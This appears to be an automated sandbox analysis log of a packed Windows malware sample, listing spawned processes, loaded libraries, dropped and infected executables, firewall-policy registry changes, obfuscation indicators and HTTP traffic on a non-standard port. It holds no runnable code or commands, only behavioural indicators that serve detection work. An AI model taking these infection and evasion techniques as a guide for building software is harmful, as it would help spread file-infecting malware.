Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D2C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: CREATE TABLE [Activity_PackageId]([ActivityId] GUID NOT NULL, [Platform] TEXT NOT NULL COLLATE NOCASE, [PackageName] TEXT NOT NULL COLLATE NOCASE, [ExpirationTime] DATETIME NOT NULL);
Source: unknown Process created: C:\Users\user\Desktop\a4#Uff09.exe "C:\Users\user\Desktop\a4#Uff09.exe"
Source: C:\Users\user\Desktop\a4#Uff09.exe Process created: C:\Users\user\AppData\Local\Temp\plgMeM.exe C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
Source: C:\Users\user\Desktop\a4#Uff09.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: C:\Users\user\Desktop\a4#Uff09.exe Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592
Source: C:\Users\user\Desktop\a4#Uff09.exe Process created: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
Source: C:\Users\user\Desktop\a4#Uff09.exe Process created: C:\Users\user\AppData\Local\Temp\plgMeM.exe C:\Users\user~1\AppData\Local\Temp\plgMeM.exe Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: ntvdm64.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: ntvdm64.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: ntvdm64.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\dllhost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: aphostservice.dll
Source: C:\Windows\System32\svchost.exe Section loaded: networkhelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userdataplatformhelperutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: syncutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mccspal.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vaultcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dmcfgutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dmcmnutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dmxmlhelputils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: inproclogger.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: windows.networking.connectivity.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: synccontroller.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pimstore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: aphostclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: accountaccessor.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: systemeventsbrokerclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userdatalanguageutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mccsengineshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cemapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userdatatypehelperutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: phoneutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wpnclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: contentdeliverymanager.utilities.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cdp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsreg.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinui.pcshell.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dwmapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dwrite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dcomp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wincorlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wininet.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe Section loaded: windows.cloudstore.schema.shell.dll
Source: C:\Windows\explorer.exe Section loaded: wpnapps.dll
Source: C:\Windows\explorer.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\RuntimeBroker.exe Section loaded: dxcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dxgi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wincorlib.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.xaml.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coremessaging.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: bcp47langs.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: iertutil.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dcomp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wintypes.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windowmanagementapi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: textinputframework.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: inputhost.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: propsys.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: ntmarta.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: uxtheme.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: urlmon.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: srvcli.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: netutils.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d3d11.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d3d10warp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dxcore.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: quickactionsdatamodel.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: d2d1.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dwrite.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: mrmcorer.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: profapi.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: languageoverlayutil.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.storage.applicationdata.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: bcp47mrm.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.storage.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: wldp.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: textshaping.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: rmclient.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: uiamanager.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.core.textinput.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: dataexchange.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: cryptbase.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.globalization.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: windows.globalization.fontgroups.dll
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Section loaded: fontgroupsoverride.dll
Source: C:\Users\user\Desktop\a4#Uff09.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File written: C:\Windows\system.ini Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\a4#Uff09.exe Window detected: Number of UI elements: 23
Source: a4#Uff09.exe Static file information: File size 2915328 > 1048576
Source: a4#Uff09.exe Static PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x29c800
Source: Binary string: .objK.pdb source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Unpacked PE file: 2.2.plgMeM.exe.db0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_004804B1 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004804B1
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: u
PE file contains sections with non-standard names
Source: a4#Uff09.exe Static PE information: section name: u
Source: plgMeM.exe.0.dr Static PE information: section name: .aspack
Source: plgMeM.exe.0.dr Static PE information: section name: .adata
Source: msedge.exe.0.dr Static PE information: section name: .00cfg
Source: msedge.exe.0.dr Static PE information: section name: .gxfg
Source: msedge.exe.0.dr Static PE information: section name: .retplne
Source: msedge.exe.0.dr Static PE information: section name: CPADinfo
Source: msedge.exe.0.dr Static PE information: section name: LZMADEC
Source: msedge.exe.0.dr Static PE information: section name: _RDATA
Source: msedge.exe.0.dr Static PE information: section name: malloc_h
Source: MyProg.exe.2.dr Static PE information: section name: PELIB
Source: MyProg.exe.2.dr Static PE information: section name: Y|uR
Source: SciTE.exe.2.dr Static PE information: section name: u
Source: Uninstall.exe.2.dr Static PE information: section name: EpNuZ
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_004770E8 push eax; ret 0_2_00477106
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029E3600 push eax; ret 0_2_029E362E
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D072E push eax; iretd 0_2_029D072F
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB1638 push dword ptr [00DB3084h]; ret 2_2_00DB170E
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB2D9B push ecx; ret 2_2_00DB2DAB
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB6014 push 00DB14E1h; ret 2_2_00DB6425
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB600A push ebp; ret 2_2_00DB600D
Source: a4#Uff09.exe Static PE information: section name: .rsrc entropy: 7.870196995228896
Source: a4#Uff09.exe Static PE information: section name: u entropy: 7.7407751408617775
Source: ahcs.pif.0.dr Static PE information: section name: .text entropy: 7.9886186279169875
Source: plgMeM.exe.0.dr Static PE information: section name: .text entropy: 7.81169422100848
Source: vmgr.exe.0.dr Static PE information: section name: .text entropy: 7.9886186279169875
Source: MyProg.exe.2.dr Static PE information: section name: Y|uR entropy: 6.934234920169325
Source: SciTE.exe.2.dr Static PE information: section name: u entropy: 6.934850007695727
Source: Uninstall.exe.2.dr Static PE information: section name: EpNuZ entropy: 6.934587886482596
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\ahcs.pif Jump to dropped file
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File created: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\Users\user\AppData\Local\Temp\plgMeM.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\Users\user\AppData\Local\Temp\vmgr.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\ahcs.pif Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Modifies existing windows services
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
May modify the system service descriptor table (often done to hook functions)
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: KeServiceDescriptorTable
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 799
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
